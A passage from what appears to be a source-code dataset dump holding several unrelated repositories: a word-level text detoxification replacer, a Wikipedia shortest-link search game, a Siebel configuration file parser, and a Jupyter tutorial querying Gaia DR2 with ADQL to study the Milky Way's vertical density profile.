args.fixed_texts:\n for line in tqdm(args.original_texts):\n print(detox_dict(line.strip()), file=args.fixed_texts)\n"
},
{
"alpha_fraction": 0.5322997570037842,
"alphanum_fraction": 0.5468097925186157,
"avg_line_length": 38.3046875,
"blob_id": "2967e0def4cd44e289eacd2749969182adc2bcce",
"content_id": "a54bff3ecf9e3759fd73ee9c1a5560f4d3ded20f",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5031,
"license_type": "permissive",
"max_line_length": 117,
"num_lines": 128,
"path": "/nlp/replacers.py",
"repo_name": "avidale/mlcup",
"src_encoding": "UTF-8",
"text": "from typing import Optional\n\nfrom sklearn.neighbors import KDTree\n\nfrom score2 import Scorer, CACHE_SIZE\nfrom inflector import inflect_like\nimport numpy as np\nfrom functools import lru_cache\n\n\nclass RecursiveReplacer:\n def __init__(self, scorer: Scorer):\n self.scorer: Scorer = scorer\n print('building the full vocabulary tree...')\n embs_vectors_normed = scorer.embs_vectors / np.linalg.norm(scorer.embs_vectors, axis=1, keepdims=True)\n self.big_tree = KDTree(embs_vectors_normed)\n\n @lru_cache(maxsize=CACHE_SIZE)\n def get_normed_emb(self, word) -> Optional[np.array]:\n e = self.scorer.calc_embs([word])[0][1]\n if e is None:\n return None\n return e / np.linalg.norm(e)\n\n @lru_cache(maxsize=CACHE_SIZE)\n def replace_word(self, word, k=30) -> Optional[str]:\n word = self.scorer.normalize(word)\n e = self.get_normed_emb(word)\n if e is None:\n return None\n dd, ii = self.big_tree.query(e[np.newaxis], k=k)\n ww = [self.scorer.embs_voc_by_id[i] for i in ii[0]]\n ss = np.array([self.scorer.get_toxicity(w) for w in ww])\n return ww[ss.argmin()]\n\n def rewrite(self, line: str, verbose=False, bl=None, threshold=0.6, step=0.05, norm=False, d=30, k=30) -> str:\n \"\"\" Replace the most toxic word in the text until the texts becomes non-toxic\n threshold: maximum allowed toxicity for text\n step: how far from the most toxic word should be the toxicity of the replaced word\n d: maximum allowed recursion depth\n \"\"\"\n if d < 0:\n return line\n old_toxicity = self.scorer.get_toxicity(line)\n if old_toxicity < threshold:\n return line\n if not norm:\n line = self.scorer.normalize(line)\n norm = True\n if bl is None:\n bl = set()\n words = line.split()\n toxicities = [self.scorer.get_toxicity(w) for w in words]\n max_toxicity = 0\n worst_word = None\n for w, t in zip(words, toxicities):\n if t > max_toxicity and w not in bl:\n max_toxicity = t\n worst_word = w\n fixed_words = []\n for w, t in zip(words, toxicities):\n if t < max_toxicity or w in bl:\n w2 = w\n else:\n # w2 = find_closest_nontoxic(w, allow_self=False, verbose=verbose, threshold=max_toxicity-step) or ''\n w2 = self.replace_word(w, k=k) or ''\n fixed_words.append(w2)\n\n result = ' '.join(fixed_words)\n new_toxicity = self.scorer.get_toxicity(result)\n if new_toxicity > old_toxicity:\n # discard the result and do not replace this word anymore\n result = line\n bl.add(worst_word)\n if new_toxicity < threshold:\n return result\n\n return self.rewrite(result, verbose=verbose, bl=bl, threshold=threshold, step=step, norm=norm, d=d - 1, k=k)\n\n @lru_cache(maxsize=10_000)\n def replace_with_joint_score(self, word, k=10, subs_threshold=0.0, w=0.5, filter_pos=False):\n word = scorer.normalize(word)\n e = scorer.calc_embs([word])[0][1]\n if e is None:\n return None\n e = e / np.linalg.norm(e)\n dd, ii = big_tree.query(e[np.newaxis], k=k)\n ww = [scorer.embs_voc_by_id[i] for i in ii[0]]\n ss = np.array([get_word_toxicity(w) for w in ww])\n if subs_threshold:\n oks = np.where(ss <= subs_threshold)[0]\n if len(oks) > 0:\n return ww[oks[0]]\n sims = np.maximum(1 - dd**2 / 2 , 0)\n if w > 0:\n scores = sims ** w * (1 - ss) ** (1-w)\n else:\n scores = 1 - ss\n if filter_pos:\n parse0 = mparse(word)\n if parse0:\n parses = [mparse(w) for w in ww]\n ok_parses = np.array([p and p.tag == parse0.tag for p in parses])\n if sum(ok_parses):\n scores = scores * ok_parses\n return ww[scores.argmax()]\n\n def detox4(self, text, k=30, wsim=0.25, threshold=0.1, epochs=1, inflection=False):\n line = scorer.normalize(text)\n best_score = scorer.compute_score([line], [line], verbose=False)\n words = line.split()\n for epoch in range(epochs):\n toxicities = np.array([get_word_toxicity(w) for w in words])\n for idx in np.argsort(-toxicities):\n words2 = words[:]\n tox = toxicities[idx]\n w = words[idx]\n if tox < threshold:\n break\n w2 = self.replace_with_joint_score(w, k=k, w=wsim) or ''\n if w2 and w2 != w and inflection:\n w2 = inflect_like(w, w2)\n words2[idx] = w2\n s2 = scorer.compute_score([line], [' '.join(words2)], verbose=False)\n if s2 > best_score:\n best_score = s2\n words = words2\n return ' '.join(words)\n"
}
] | 8 |
GregLahaye/wikipedia-game | https://github.com/GregLahaye/wikipedia-game | a5cd597285cccb9c5a91e2751b96f4dbbb3f478d | ea60c71700380f7c8e82c7e19b327ac0db26fd74 | d5cff0e94d10f9a9c418b81863ea4ea2c25f2f7f | refs/heads/master | 2020-05-05T10:22:00.059915 | 2019-07-25T03:30:14 | 2019-07-25T03:30:14 | 179,941,031 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.8113207817077637,
"alphanum_fraction": 0.8113207817077637,
"avg_line_length": 52,
"blob_id": "2f5cdd0c2e7db98825ddd316e28ca90c3ffb7958",
"content_id": "668c245b26238894376aacb5746d893cbf4f29d7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 212,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 4,
"path": "/readme.md",
"repo_name": "GregLahaye/wikipedia-game",
"src_encoding": "UTF-8",
"text": "## Python Wikipedia Game\nMakes use of a breadth-first search algorithm the find the shortest link between two inputted Wikipedia pages. \n\nThis program has no requirements except for the built-in requests module.\n"
},
{
"alpha_fraction": 0.4095362424850464,
"alphanum_fraction": 0.41214892268180847,
"avg_line_length": 31.2391300201416,
"blob_id": "366ea5a34d07272009bb562bb3ef4e7bfe5dbd36",
"content_id": "506fb722dae12e414619d7fc408ede214330b6ce",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1531,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 46,
"path": "/game.py",
"repo_name": "GregLahaye/wikipedia-game",
"src_encoding": "UTF-8",
"text": "import wikipedia\r\n\r\n\r\ndef search(root, target):\r\n root = wikipedia.check(root)\r\n target = wikipedia.check(target)\r\n if root and target:\r\n if root != target:\r\n visited = set([root])\r\n queue = [[root]]\r\n found = False\r\n print(\"Finding the shortest route from '{}' to '{}'...\".format(root, target))\r\n while queue and not found:\r\n try:\r\n path = queue[0]\r\n current = path[-1]\r\n print(\" > \".join(path))\r\n queue = queue[1:]\r\n nodes = wikipedia.get_links(current)\r\n for node in nodes:\r\n if node not in visited:\r\n if node == target:\r\n result = path + [node]\r\n found = True\r\n visited.add(node)\r\n new_path = path + [node]\r\n queue.append(new_path)\r\n except KeyboardInterrupt:\r\n exit(\"Keyboard Interrupt\")\r\n \r\n if found:\r\n print(\"Shortest path: \")\r\n print(\" > \".join(result))\r\n else:\r\n print(\"No possible route\")\r\n\r\n else:\r\n print(\"Root and target are same\")\r\n\r\n\r\nstart = input(\"Page to start at: \")\r\nif start == \"?\":\r\n start, end = wikipedia.random(2)\r\nelse:\r\n end = input(\"Page to find: \")\r\nsearch(start, end)\r\n\r\n"
},
{
"alpha_fraction": 0.48613983392715454,
"alphanum_fraction": 0.48944973945617676,
"avg_line_length": 29.9743595123291,
"blob_id": "a438d601270d4fac6fc9028c998fe7b7b792b469",
"content_id": "d2b8ce5ecef41ee46285d6a065a8f51e063de016",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2417,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 78,
"path": "/wikipedia.py",
"repo_name": "GregLahaye/wikipedia-game",
"src_encoding": "UTF-8",
"text": "import requests\n\n\ndef random(num=1):\n params = {\n \"format\": \"json\",\n \"action\": \"query\",\n \"generator\": \"random\",\n \"grnnamespace\": \"0\",\n \"grnlimit\": num\n }\n \n r = s.get(API_URL, params=params)\n response = r.json()\n titles = [item[\"title\"] for item in response[\"query\"][\"pages\"].values()]\n return titles \n\n\ndef check(title):\n params = {\n \"action\": \"query\",\n \"titles\": title,\n \"prop\": \"categories\",\n \"clcategories\": \"Category:All disambiguation pages\",\n \"format\": \"json\",\n \"redirects\": \"true\"\n }\n \n r = s.get(API_URL, params=params)\n response = r.json()\n pageid = list(response[\"query\"][\"pages\"].keys())[0]\n valid = False\n if \"redirects\" in response[\"query\"]:\n valid = response[\"query\"][\"redirects\"][0][\"to\"]\n elif \"categories\" in response[\"query\"][\"pages\"][pageid]:\n print(\"'{}' is a disambiguation page\".format(title))\n elif pageid == \"-1\": \n print(\"'{}' is not a valid article\".format(title))\n else:\n valid = title\n\n return valid\n\n\ndef get_links(title):\n params = {\n \"action\": \"query\",\n \"titles\": title,\n \"prop\": \"links\",\n \"pllimit\": \"max\",\n \"format\": \"json\",\n \"plnamespace\": 0\n }\n\n done = False\n while not done:\n links = []\n try:\n r = s.get(API_URL, params=params)\n response = r.json()\n pageid = list(response[\"query\"][\"pages\"].keys())[0]\n if \"links\" in response[\"query\"][\"pages\"][pageid]:\n links += [link[\"title\"] for link in response[\"query\"][\"pages\"][pageid][\"links\"]]\n while \"continue\" in response:\n params[\"plcontinue\"] = response[\"continue\"][\"plcontinue\"] \n r = s.get(API_URL, params=params)\n response = r.json()\n pageid = list(response[\"query\"][\"pages\"].keys())[0]\n links += [link[\"title\"] for link in response[\"query\"][\"pages\"][pageid][\"links\"]]\n done = True\n except requests.exceptions.ConnectionError:\n input(\"Connect Error, <Enter> to try again\")\n \n return links \n\n\nAPI_URL = \"https://en.wikipedia.org/w/api.php\"\ns = requests.session()\n\n"
}
] | 3 |
douglascorrea/siebel_dat_reader | https://github.com/douglascorrea/siebel_dat_reader | f05414cc0eb407de7c7408c3c17d87f0b73b9b87 | 85dba6bb929d0fc9b8c8a23d028f3d62cfe6220f | 7daccab6f4ca3176eeb196eea2d9779cc8db1bd5 | refs/heads/master | 2015-08-17T14:11:37.678357 | 2014-12-02T22:20:06 | 2014-12-02T22:20:06 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6023847460746765,
"alphanum_fraction": 0.6078881025314331,
"avg_line_length": 27.883562088012695,
"blob_id": "636cdfb18c35cde206302e0f4441e6bf4b570a85",
"content_id": "b5085a4f94978dca25afe351cee08782fcebfb71",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4361,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 146,
"path": "/siebconf.py",
"repo_name": "douglascorrea/siebel_dat_reader",
"src_encoding": "UTF-8",
"text": "from collections import defaultdict\r\nimport fileinput\r\nimport sys\r\nimport re\r\nimport ConfigParser\r\nimport shutil\r\nimport os\r\n# import logging\r\n# logging.basicConfig(level=logging.DEBUG)\r\n# import argparse\r\n# parser = argparse.ArgumentParser()\r\n# parser.parse_args()\r\n\r\nINPUT_FILE_A = \"teste.dat\"\r\nPROCESSING_FILE_A = INPUT_FILE_A+\"_processing\"\r\nINPUT_FILE_B = \"testeB.dat\"\r\nPROCESSING_FILE_B = INPUT_FILE_B+\"_processing\"\r\n\r\ndef replace_all(file, searchExp, replaceExp):\r\n for i, line in enumerate(fileinput.input(file, inplace=1)):\r\n if i <= 4 :\r\n continue\r\n elif searchExp in line:\r\n line = line.replace(searchExp, replaceExp)\r\n sys.stdout.write(line)\r\n\r\n\r\ndef config_section_map(section, config):\r\n dict1 = {}\r\n options = config.options(section)\r\n for option in options:\r\n try:\r\n dict1[option] = config.get(section, option)\r\n if dict1[option] == -1:\r\n print(\"skip: %s\" % option)\r\n except:\r\n print(\"exception on %s!\" % option)\r\n dict1[option] = None\r\n return dict1\r\n\r\n\r\ndef list_gateways(sections):\r\n gateways = []\r\n for section in sections:\r\n m = re.search('\\/gateways\\/(\\w+)$', section)\r\n if m:\r\n gateways.append(m.group(1))\r\n return gateways\r\n\r\n\r\ndef list_enterprises(sections):\r\n enterprises = []\r\n for section in sections:\r\n m = re.search('\\/enterprises\\/(\\w+)$', section)\r\n if m:\r\n enterprises.append(m.group(1))\r\n return enterprises\r\n\r\n\r\ndef list_servers_from_enterprise(sections, enterprise):\r\n servers = []\r\n for section in sections:\r\n m = re.search('\\/enterprises\\/' + enterprise + '\\/servers\\/(\\w+)$', section)\r\n if m:\r\n servers.append(m.group(1))\r\n return servers\r\n\r\n\r\ndef list_named_subsystems_from_enterprise(sections, enterprise):\r\n name_subsystems = []\r\n for section in sections:\r\n m = re.search('\\/enterprises\\/' + enterprise + '\\/named subsystems\\/(\\w+)$', section)\r\n if m:\r\n name_subsystems.append(m.group(1))\r\n return name_subsystems\r\n\r\n\r\ndef read_config_file(path):\r\n replace_all(path, \"\\t\", \"\")\r\n Config = ConfigParser.ConfigParser()\r\n Config.read(path)\r\n return Config\r\n\r\n\r\nFILE_MARKER = '<content>'\r\n\r\n\r\ndef attach(branch, trunk):\r\n '''\r\n Insert a branch of directories on its trunk.\r\n '''\r\n parts = branch.split('/', 1)\r\n if len(parts) == 1: # branch is a file\r\n trunk[FILE_MARKER].append(parts[0])\r\n else:\r\n node, others = parts\r\n if node not in trunk:\r\n trunk[node] = defaultdict(dict, ((FILE_MARKER, []),))\r\n attach(others, trunk[node])\r\n\r\n\r\ndef group_section_paths(sections):\r\n main_dict = defaultdict(dict, ((FILE_MARKER, []),))\r\n for section in sections:\r\n root, nodes = section.split('/', 1)\r\n attach(nodes, main_dict)\r\n return main_dict\r\n\r\ndef prettify(d, indent=0):\r\n '''\r\n Print the file tree structure with proper indentation.\r\n '''\r\n for key, value in d.iteritems():\r\n if key == FILE_MARKER:\r\n if value:\r\n print ' ' * indent + str(value)\r\n else:\r\n print ' ' * indent + str(key)\r\n if isinstance(value, dict):\r\n prettify(value, indent+1)\r\n else:\r\n print ' ' * (indent+1) + str(value)\r\n\r\ndef file_to_config_dict(file, processing_file):\r\n shutil.copyfile(file, processing_file)\r\n config = read_config_file(processing_file)\r\n return config\r\n\r\nconfig_A = file_to_config_dict(INPUT_FILE_B, PROCESSING_FILE_B)\r\nsections_A = config_A.sections()\r\ngateways_A = list_gateways(sections_A)\r\nenterprises_A = list_enterprises(sections_A)\r\nfor enterprise in enterprises_A:\r\n servers_A = list_servers_from_enterprise(sections_A, enterprise)\r\n named_subsystems_A = list_named_subsystems_from_enterprise(sections_A, enterprise)\r\n\r\nconfigDict_A = group_section_paths(sections_A)\r\n# print(configDict_A['enterprises']['GVTSIEB8']['servers']['svuxqcrm9']['parameters'])\r\n# print(config_A.items('/enterprises/GVTSIEB8/servers/svuxqcrm9/parameters/CFGOLEAutomationDLL'))\r\n# print(configDict_A['enterprises']['GVTSIEB8']['parameters']['<content>'])\r\n\r\n\"\"\"\r\nCompare two different Entreprises\r\nTodo it we need to compare the\r\n\"\"\"\r\nos.remove(PROCESSING_FILE_B)"
},
{
"alpha_fraction": 0.5341463685035706,
"alphanum_fraction": 0.5463414788246155,
"avg_line_length": 23.14285659790039,
"blob_id": "c571133feae71e782d85a9cae7720933ad3b0543",
"content_id": "7d3fa2802703314eea556d41e2f7cfb075bc38c7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1230,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 49,
"path": "/path_tree.py",
"repo_name": "douglascorrea/siebel_dat_reader",
"src_encoding": "UTF-8",
"text": "from collections import defaultdict\r\n\r\ninput_ = '''dir/file\r\ndir/dir2/file2\r\ndir/file3\r\ndir2/alpha/beta/gamma/delta\r\ndir2/alpha/beta/gamma/delta/\r\ndir3/file4\r\ndir3/file5'''\r\n\r\nFILE_MARKER = '<files>'\r\n\r\ndef attach(branch, trunk):\r\n '''\r\n Insert a branch of directories on its trunk.\r\n '''\r\n parts = branch.split('/', 1)\r\n if len(parts) == 1: # branch is a file\r\n trunk[FILE_MARKER].append(parts[0])\r\n else:\r\n node, others = parts\r\n if node not in trunk:\r\n trunk[node] = defaultdict(dict, ((FILE_MARKER, []),))\r\n attach(others, trunk[node])\r\n\r\ndef prettify(d, indent=0):\r\n '''\r\n Print the file tree structure with proper indentation.\r\n '''\r\n for key, value in d.iteritems():\r\n if key == FILE_MARKER:\r\n if value:\r\n print ' ' * indent + str(value)\r\n else:\r\n print ' ' * indent + str(key)\r\n if isinstance(value, dict):\r\n prettify(value, indent+1)\r\n else:\r\n print ' ' * (indent+1) + str(value)\r\n\r\n\r\n\r\nmain_dict = defaultdict(dict, ((FILE_MARKER, []),))\r\nfor line in input_.split('\\n'):\r\n attach(line, main_dict)\r\n\r\n# print(main_dict)\r\n\r\nprettify(main_dict)"
}
] | 2 |
jls713/sf18 | https://github.com/jls713/sf18 | f696960d8bc33bb9e6a9d67285d9b63afd28f4b0 | 89a989df30d30230fccc59b4f1a1636a10dce4a7 | 638c6fd63824857a5db3817a96716ad591638632 | refs/heads/master | 2020-04-19T10:10:18.552806 | 2019-01-31T15:06:10 | 2019-01-31T15:06:10 | 168,132,234 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6565994620323181,
"alphanum_fraction": 0.6942290663719177,
"avg_line_length": 34.71428680419922,
"blob_id": "10fca8ebcd611cfa169bfbbfae2d4baa50b72eb5",
"content_id": "007506a22ac38459bcae2a5684f17609ea89c826",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 12251,
"license_type": "no_license",
"max_line_length": 674,
"num_lines": 343,
"path": "/Tutorial1.py",
"repo_name": "jls713/sf18",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Tutorial 1: The vertical density profile\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nwarnings.filterwarnings('ignore')\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In this tutorial we will inspect the vertical density profile of the Milky Way. This will illustrate basic access of the Gaia data.\n# \n# We use the TAP functionality in astroquery to collect Gaia DR2 data. This runs an ADQL query remotely and retrieves the data -- ADQL is like SQL with added functions to specifically querying astronomical datasets). You will get lots of warnings as astropy doesn't like the units used by Gaia -- I have switched these off with the warnings package. This query gets the top 100 stars with positive parallaxes and parallax/parallax_error>3. You can replace the ADQL query with your own ADQL query (see \\href{https://gea.esac.esa.int/archive-help/adql/examples/index.html}{https://gea.esac.esa.int/archive-help/adql/examples/index.html} for some examples of Gaia ADQL queries.\n# \n# To get the names of the columns, we have to look here https://gea.esac.esa.int/archive/documentation/GDR2/Gaia_archive/chap_datamodel/\n\n# In[32]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"select top 100 * from gaiadr2.gaia_source \"+\n \"where parallax>0 and parallax_over_error>3. \") # Select `good' parallaxes\n\ntable = job.get_results()\nprint(table)\n\n\n# We can access individual columns like this. Note the units.\n\n# In[3]:\n\n\nprint(table['pmra'])\n\n\n# We will now query some main sequence stars around the North Galactic Pole (Galactic latitude greater than $85\\,\\mathrm{deg}$). \n# The ADQL language implements various mathematical functions. Here we are using log10. We require good parallaxes (not negative and with small errors -- this might bias our sample in funny ways but for now it is good enough). We select a small range in colours $0.65<(G_\\mathrm{BP}-G_\\mathrm{RP})<0.85$ and ensure they are main sequence by cutting on absolute magnitude. We don't worry about extinction as this effect is small when looking straight out of the disc.\n\n# In[4]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"\"\"select top 3000 phot_g_mean_mag,parallax \"\"\"\n \"\"\"from gaiadr2.gaia_source \"\"\"\n \"\"\"where b>85. \"\"\" # Around North Galactic Pole\n \"\"\"and parallax>0 and parallax_over_error>3. \"\"\"# Select `good' parallaxes\n \"\"\"and bp_rp>0.65 and bp_rp<0.85 \"\"\" # Select upper main sequence colours\n \"\"\"and phot_g_mean_mag-5*log10(100./parallax) < 6.\"\"\") # Remove giant contaminants\n\ntable = job.get_results();\n\n\n# Another way to do this is using the ADQL built-in geometric functions. POINT is a function describing a point on the sky and BOX, POLYGON, CIRCLE are all functions that describe a region on the sky. Typically they are used in conjunction with CONTAINS. This will return True (1) is POINT is CONTAINed in CIRCLE. In theory these should work with Galactic coordinates but I can't get this to work. We therefore require the coordinates of the NGP, using astropy. In theory, using ra, dec is faster as the Gaia archive has been indexed on these entries.\n\n# In[5]:\n\n\nfrom astropy.coordinates import SkyCoord, ICRS\nimport astropy.units as u\nSkyCoord(l=300.*u.deg,b=90.*u.deg,frame='galactic').transform_to(ICRS)\n\n\n# We then write the above query as \n\n# In[6]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"\"\"select top 3000 phot_g_mean_mag,parallax \"\"\"\n \"\"\"from gaiadr2.gaia_source \"\"\"\n \"\"\"where 1=CONTAINS(POINT('ICRS',ra,dec),CIRCLE('ICRS',192.85947789, 27.12825241,5)) \"\"\" # Around North Galactic Pole\n \"\"\"and parallax>0 and parallax_over_error>3. \"\"\"# Select `good' parallaxes\n \"\"\"and bp_rp>0.65 and bp_rp<0.85 \"\"\" # Select upper main sequence colours\n \"\"\"and phot_g_mean_mag-5*log10(100./parallax) < 6.\"\"\") # Remove giant contaminants\n\ntable2 = job.get_results();\n\n\n# In[7]:\n\n\nplt.hist(table2['phot_g_mean_mag'],histtype='step',lw=3,bins=50);\nplt.hist(table['phot_g_mean_mag'],histtype='step',lw=3,bins=50,ls='dashed');\n\n\n# We have to worry about completeness. Gaia only observes down to a limiting magnitude. We can see in the magnitude distribution a truncation at around $16.3\\,\\mathrm{mag}$. For our selected main sequence stars (with median magnitude $4.3$) this corresponds to a limiting distance of $2.5\\,\\mathrm{kpc}$.\n\n# In[8]:\n\n\nlimiting_mag = 16.3 #\nplt.axvline(limiting_mag,color='k')\nplt.hist(table['phot_g_mean_mag'],range=[10.,18.],bins=20)\nplt.xlabel(r'$G/\\,\\mathrm{mag}$')\n\n\nMv = np.median(table['phot_g_mean_mag']-5.*np.log10(100./table['parallax']))\nlimiting_distance = 10.**(0.2*(-Mv+limiting_mag)-2.)\nprint('Limiting mag=',limiting_mag,'mag')\nprint('Median absolute mag=',Mv,'mag')\nprint('Limiting distance=',limiting_distance,'kpc')\n\n\n# We have taken a sample in a cone. As such, there is a larger volume over which we observe distant stars than the volume over which we observe nearby stars. To compute the density with Galactic height we require a Jacobian factor. we denote distance $s$ and parallax $\\varpi$.\n# \n# $n(s) = s^2\\rho(s)$\n# \n# so $\\rho(s) = \\varpi^2 n(1/\\varpi)$.\n# \n# We have overplotted the classical thin/thick disc scaleheight exponentials. Note how beyond $s=2.5\\,\\mathrm{kpc}$ incompleteness is an issue.\n\n# In[9]:\n\n\nfig = plt.figure(figsize=[10.,5.])\nxx = np.linspace(0.,2.5)\nnbins=30\nplt.hist(1./table['parallax'],range=[0.,3.],bins=nbins,\n weights=table['parallax']**2,histtype='step');\nplt.ylim(0.001*len(table),1.*len(table))\n\nthin_disc_scale_height=0.3\nthick_disc_scale_height=0.9\nscaling = len(table)/(1.*nbins)\n\nplt.plot(xx,24.*scaling*np.exp(-xx/thin_disc_scale_height))\nplt.plot(xx,2.4*scaling*np.exp(-xx/thick_disc_scale_height))\n\nplt.semilogy()\nplt.xlabel(r'$s/\\,\\mathrm{kpc}$')\nplt.ylabel(r'Count per bin')\nplt.annotate('Thick = 900pc', xy=(2.,.3*scaling),fontsize=20)\nplt.annotate('Thin = 300pc', xy=(.65,4.*scaling),fontsize=20)\n\n\n# We have confirmed the Gilmore-Reid result for the thin-thick vertical structure of the disc (not quite as we were looking at the North Galactic Pole). The original result used photometric distances so it is not trivial to reproduce this result. Other things to do would be\n# \n# 1. Look at different samples (other main sequence cuts, giants, etc. -- see Bovy 2017 TGAS paper),\n# \n# 2. Look away from North Pole (can we map the full density field in parallaxes? -- reproducing Juric et al. 2008 but over whole sky)\n# \n# 3. Look at perturbations relative to the smooth model (see Bennett and Bovy, 2018).\n\n# ## Joining with other tables\n# In addition to data in the Gaia DR2 source table, we might require additional data. Here we will grab results from the variability catalogue.\n\n# In[10]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"\"\"select top 1000 power(10.,-0.4*(phot_g_mean_mag-5.*log10(100./parallax))) as lum, pf as period \"\"\"\n \"\"\"from gaiadr2.gaia_source as G, gaiadr2.vari_cepheid as V where G.source_id=V.source_id \"\"\"\n \"\"\"and parallax_over_error>2.\"\"\"\n)\ntable3 = job.get_results();\nplt.plot(table3['period'],table3['lum'],'.')\nplt.semilogy()\nplt.semilogx()\nplt.xlabel('Period/day')\nplt.ylabel('Luminosity/arb. units');\n\n\n# ## Computing aggregate quantities\n\n# We can also compute aggregate quantities. Here we compute the mean, standard deviation (implemented specifically for the Gaia TAP+ service) and count for stars within 0.1 deg of the NGP.\n\n# In[11]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"\"\"select avg(bp_rp), stddev(bp_rp), count(*) \"\"\"\n \"\"\"from gaiadr2.gaia_source \"\"\"\n \"\"\"where 1=CONTAINS(POINT('ICRS',ra,dec),CIRCLE('ICRS',192.85947789, 27.12825241,0.1))\"\"\")\ntable3 = job.get_results();\nprint(table3)\n\n\n# We can also compute averages binned by another column.\n\n# In[12]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"\"\"select avg(bp_rp) as mean_bprp, avg(pmra) as meanpmra, \"\"\"\n \"\"\"stddev(pmra) as std_pmra, count(*), round(bp_rp*5) as bin \"\"\"\n \"\"\"from gaiadr2.gaia_source \"\"\"\n \"\"\"where 1=CONTAINS(POINT('ICRS',ra,dec),CIRCLE('ICRS',192.85947789, 27.12825241,0.1)) \"\"\"\n \"\"\"group by bin order by bin\"\"\"\n)\ntable3 = job.get_results();\nprint(table3)\n\n\n# ## Using Vizier\n\n# We can also use the TAP Vizier service. This is useful for cross-matching to other catalogues. Although, there are many cross-matches available in the Gaia arcive anyway.\n\n# In[13]:\n\n\nfrom astroquery.utils.tap.core import TapPlus\ntap = TapPlus(url=\"http://TAPVizieR.u-strasbg.fr/TAPVizieR/tap\")\ntables = tap.load_tables()\n\n\n# We have to find the name of the Gaia DR2 table in the Vizier database.\n\n# In[14]:\n\n\nfor t in tables:\n if 'gaia' in t.name:\n print(t.name)\n\n\n# We now cross-match to LAMOST find Gaia stars within 1 arcsec (1/3600=0.00027777) of each LAMOST star.\n\n# In[21]:\n\n\njob = tap.launch_job_async('select top 10 * from \"I/345/gaia2\" as gaia, '+\n '\"V/153/dr4\" as lamost '+\n \"where 1=CONTAINS(POINT('ICRS',gaia.ra,gaia.dec),\"+\n \"CIRCLE('ICRS',lamost.raj2000,lamost.dej2000,0.00027777))\")\ntableV = job.get_results();\nprint(tableV)\n\n\n# In[22]:\n\n\ntableV[['ObsID','RAJ2000','ra']]\n\n\n# ## Gaia RVS selection function\n\n# One other unique function provided in the Gaia archive is gaia_healpix_index which gives the healpix number of each Gaia source. Healpix are a method of dividing up the sphere into equal area pixels. This is useful as we can bin the catalogue by Healpix. In the following we count all sources in bins of G and healpix for a small region on the sky. \n\n# In[27]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"\"\"select gaia_healpix_index(8, source_id) AS hpx8, count(*), round(phot_g_mean_mag*2.)/2 as G \"\"\"\n \"\"\"from gaiadr2.gaia_source \"\"\"\n \"\"\"where 1=CONTAINS(POINT('ICRS',ra,dec),CIRCLE('ICRS',50,50, 1.)) \"\"\"\n \"\"\" and phot_g_mean_mag>6. and phot_g_mean_mag<17. \"\"\"\n \"\"\"group by hpx8, G order by G\"\"\"\n)\ntable3 = job.get_results();\ntable3['gbin']=np.digitize(table3['g'],np.arange(6.,17.,0.5))\nprint(np.unique(table3['g']))\n\n\n# We plot with healpy.\n\n# In[28]:\n\n\nimport healpy as hp\nNSIDE = 256\nGbin=20\nH = np.ones(hp.nside2npix(NSIDE))*np.nan\nH[table3['hpx8'][table3['gbin']==Gbin]]=table3['count_all'][table3['gbin']==Gbin]\nhp.mollview(H,nest=True,coord='G')\n\n\n# We perform the same calculation for those stars with radial velocities.\n\n# In[35]:\n\n\nfrom astroquery.gaia import Gaia\njob = Gaia.launch_job_async(\n \"\"\"select gaia_healpix_index(8, source_id) AS hpx8, count(*), round(phot_g_mean_mag*2.)/2 as G \"\"\"\n \"\"\"from gaiadr2.gaia_source \"\"\"\n \"\"\"where 1=CONTAINS(POINT('ICRS',ra,dec),CIRCLE('ICRS',50,50, 1.)) \"\"\"\n \"\"\" and phot_g_mean_mag>6. and phot_g_mean_mag<17. and radial_velocity>-1000 \"\"\"\n \"\"\"group by hpx8, G order by G\"\"\"\n)\ntable3_RV = job.get_results();\ntable3_RV['gbin']=np.digitize(table3_RV['g'],np.arange(6.,17.,0.5))\n\n\n# Plotting the ratio we see the approx. selection function of the RVS in this part of the sky. Approx. complete up to G=13 mag.\n\n# In[40]:\n\n\nplt.hist(table3['g'],range=[6.,15.],bins=18,histtype='step',label='All')\nplt.hist(table3_RV['g'],range=[6.,15.],bins=18,histtype='step',label='RVS')\nplt.ylim(0.,80.)\nplt.xlabel(r'$G$')\nplt.legend(loc='upper left',fontsize=20);\n\n\n# In[41]:\n\n\nnn,bb = np.histogram(table3['g'],range=[6.,15.],bins=18)\nnn2,bb = np.histogram(table3_RV['g'],bins=bb)\nplt.plot(.5*(bb[1:]+bb[:-1]),nn2/nn)\n\nplt.xlabel(r'$G$')\nplt.ylabel(r'Ratio RVS/All')\n\n\n# # Other methods\n\n# ## Reading downloaded VOT\n# Go to 